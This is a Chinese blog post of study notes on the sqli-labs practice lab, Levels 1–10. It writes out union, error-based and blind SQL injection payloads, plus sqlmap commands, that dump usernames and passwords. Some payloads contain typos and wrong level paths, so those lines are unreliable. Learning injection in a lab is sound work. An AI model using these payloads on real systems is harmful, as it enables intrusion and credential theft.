Sqli-labs-master Less 1-Less10 学习笔记

本次学习主要是为了深入漏洞和渗透原理。

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

先按照提示输入 ?id=1

 

先对ID位置进行注入判定,输入 ?id=1',页面报错。后面添加 --+或者#,恢复正常。可知,其有单引号闭合切无过滤。

 

 

 

采用手动联合查询注入: sqli-labs-master/Less-1/?id=-1 union select 1,2,3--+ ,发现Your Login name 和Your Password处返回了查询的值。

注:此处需要将ID改为一个错误值,因为网页只会返回查询到的第一条数据。

 

 

 

 联合查询获取数据库名:sqli-labs-master/Less-1/?id=-1 union select 1,database(),3--+,得到库名security

 

 

 

拓展:Mysql有四个自带的默认数据库information_schema,sys,mysql,performance_schema。

其中:information_schema库用于存储数据库元数据,如:数据库名,表名,列,数据访问,权限等。

常用的表:  CHARACTER_SET   提供mysql可用字符集的信息。

       SCHEMATA     提供当前实例下所有数据库的信息

       TABLES        存储数据库中的表信息

        COLUMNS      存储表中的列信息。

获取表名:sqli-labs-master/Less-1/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+获取了一个表名。

sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 获取所有表名。

 

 

 

获取users表的字段:sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 

 

 

分析出其列名为:id,user,password

获取账户信息:sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(username,',',password,';') from users--+

 

 账号和密码用,分割。两个账号信息用,;分割。

 

 

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

 

 

 通过错误进行判断:/sqli-labs-master/Less-2/?id=1 and 1=1回显正确

         /sqli-labs-master/Less-2/?id=1 and 1=2 回显错误

 

确定回显位置:/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

 

 

确定表名:/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

 

 

 使用users表,来获取账户相关信息:sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27

 

 

 

列名分别为:id;username;password

获取账户信息:/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(username,',',password) from users

 

 

 

至此获取到了账户信息。

使用Sqlmap工具注入(相关参数参阅https://www.freebuf.com/sectool/164608.html

检查url是否有注入点:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1"

列出数据库中所有数据库名称:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" --dbs

列出该库所有表:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -D security --tables

列出所有:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -D security -T users --columns

列出指定字段:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -T users -C username,password --dump

 

 

 注:各个参数的作用及用法

  --dbs 显示数据库信息

  -D 库名 --tables 获取该库中所有表

  -T 表名 --columns 获取所有字段

  -C 字段1,字段2 --dumo 获取指定字段

 

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

确定其闭合为(''):/sqli-labs-master/Less-3/?id=1')and 1=2 --+

 

 

确定回显位置:/sqli-labs-master/Less-3/?id=-1') union select 1,2,3--+

 

 

获取表名:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

 

 

获取字段:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 

 

 

获取账户信息:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(username,password) from users--+

 

 

 

 

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

注:后面同类型的闯关就不上图了,大同小异。区别在于闭合的符号不同。

错误判断:/sqli-labs-master/Less-4/?id=1'

    /sqli-labs-master/Less-4/?id=1" --+

    /sqli-labs-master/Less-4/?id=-1") and 1=1

 

确定回显位置:/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+

 

获取表名:/sqli-labs-master/Less-4/?id=-1") union select group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

获取字段名:/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

 

获取具体字段 :http://39.105.114.179/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,2,group_concat(username,%27:%27,password)%20from%20users--+

 

sqlmap工具自动获取:0

获取数据库信息:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 --dbs

 

获取表名:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D security --tables

 

获取字段:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D sercurity -T users --columes

 

获取具体字段内容:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump

 

 

Less-5 GET - Double Injection - Single Quotes - String (双查询GET单引号字符型注入)

原理分析

1.双注入破解原理:组合利用count(),floor(),group by,rand()函数,能够将信息通过报错显现出来。

payload公式:select count(*),concat(payload,floor(rand(0)*2) as x from information_schmea.tables group by a

count():计算行数

floor():向下取整

group by:分组

rand():随机产生一个0到1的随机数.

 

2.rand(0)和rand()的差别。

select rand(0),rand(0),rand(),rand();

select floor(rand(0)*) from users和select floor(rand()*2) from users.

 

 

 

 

 

 运行多次rand(0)会发现其得到的值并未发送变化,为0110110011101。原因是指定了随机数种子0。

 

3.floor(rand(0))分组查询报错

 

 

 上面这张图就是group by通过floor分组的过程。
我们知道floor产生的随机序列是固定的011011,再进行group by分组的时候,我会将这个随机序列作为虚拟表的key, 进行查询和插入两步操作。我们假设要先查询后插入,这里我把没有查询到值的查询用黑色,查询到值的查询用红色。

下面来描述一下查询和插入的过程:

    第一次查询,再虚拟表中查询key为0的字段,发现虚拟表为空,因此进行插入操作。
    第一次插入,再进行插入操作的时候,group by会再次调用floor(),因此插入的key是1而不是0,还会将对应的count()值填在key的后面。
    第二次查询,查询时,group by再一次调用floor,得到的值为1,查询虚拟表中是否有key为1的字段,发现存在,因此此处的插入操作就是将coun()的值进行叠加。此时第二次查询操作和插入操作都已经完毕,然后进行第三次查询。
    第三次查询,此时查询的key为0,发现虚拟表中没有0,因此要进行插入操作。
    第三次插入,再进行插入前,group by要调用floor(),得到了1,因此要插入一个key为1的字段。而key为1的字段已经存在了,因此主键重复,MySQL会报错。(图上多画了一个最后红色的查询3,可以忽略掉)

到现在,你可能就会明白双注入的报错原理了。一定要注意的是,查询 和 插入操作之前都会独立的从floor获取一个新的值,导致查询和插入的key可能不同,因此才会产生这中情况。

注:原文链接:https://blog.csdn.net/weixin_43901998/article/details/105227678

 双查询注入失败了。。。。换个方法继续吧

 

时间延迟盲注入:

判断sleep函数能否生效:/sqli-labs-master/Less-5/?id=1' and sleep(3)--+

网页延迟了3秒钟,该语句生效了。后面可以利用网页的延迟时间来匹配相关信息。

判断库名长度:/sqli-labs-master/Less-5/?id=1' and If(length(database())>1,sleep(3),0)--+

盲注库名(建议用脚本跑):/sqli-labs-master/Less-5/?id=1' and If(left(database(),1)='s',sleep(3),0)--+

盲注表名:/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=110,sleep(3),0)--+

盲注字段:/sqli-labs-master/Less-5/?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(3),1)--+
盲注具体字段:/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr(select usersname from users limit x,y)z,d))=110,sleep(3),0)--+

 

sqlmap工具注入

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1"

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" --dbs

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security --table

sqlmap.py -u "http://4xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security -T users --column

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security -T users -C username,password --dump

 

 

Less-6 GET - Double Injection - Double Quotes - String (双查询GET双引号字符型注入)

 

同第5关,闭合符号位”,不过多阐述。(手动太耗时间了,不建议)

 

 

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

环境存在问题,先跳过

 

 

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

判断闭合:/sqli-labs-master/Less-8/?id=1’ and sleep(2)--+

盲注数据库名:/sqli-labs-master/Less-8/?id=1' and  ascii(substr(database(),x,y))=z--+

盲注表名:

/sqli-labs-master/Less-8/?id=1' ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))=z--+

盲注字段:

/sqli-labs-master/Less-8/?id=1' and ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)=z--+

盲注具体字段

/sqli-labs-master/Less-8/?id=1' and ascii(substr(select usname from users limit 0,1),x,y)=z--+

 

 

Less-9 GET - Blind - Time based. -  Single Quotes  (基于时间的GET单引号盲注)

 

判断闭合:/sqli-labs-master/Less-9/?id=1’ and and sleep(2)--+

 

盲注数据库名:/sqli-labs-master/Less-9/?id=1' and  if(ascii(substr(database(),x,y))>z,sleep(3),1)--+

 

盲注表名:

 

/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))>z,sleep(3),1)--+

 

盲注字段:

 

/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)>z,sleep(3),1)--+

 

盲注具体字段

/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select usname from users limit 0,1),x,y)>z,sleep(3),1)--+

 

 

 

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

确定闭合:/sqli-labs-master/Less-10/?id=1" and sleep(2)--+

 

盲注数据库名:/sqli-labs-master/Less-9/?id=1" and  if(ascii(substr(database(),x,y))>z,sleep(3),1)--+

 

 盲注表名:

 

/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))>z,sleep(3),1)--+

 

 盲注字段:

 

 /sqli-labs-master/Less-9/?id=1" and if(ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)>z,sleep(3),1)--+

 

 盲注具体字段

/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(select usname from users limit 0,1),x,y)>z,sleep(3),1)--+

 

 

参考文章:sqli_labs学习笔记(一)Less-1~Less-20 - joker0xxx3 - 博客园 (cnblogs.com)

posted @ 2021-11-18 16:12  DSers  阅读(337)  评论(0)    收藏  举报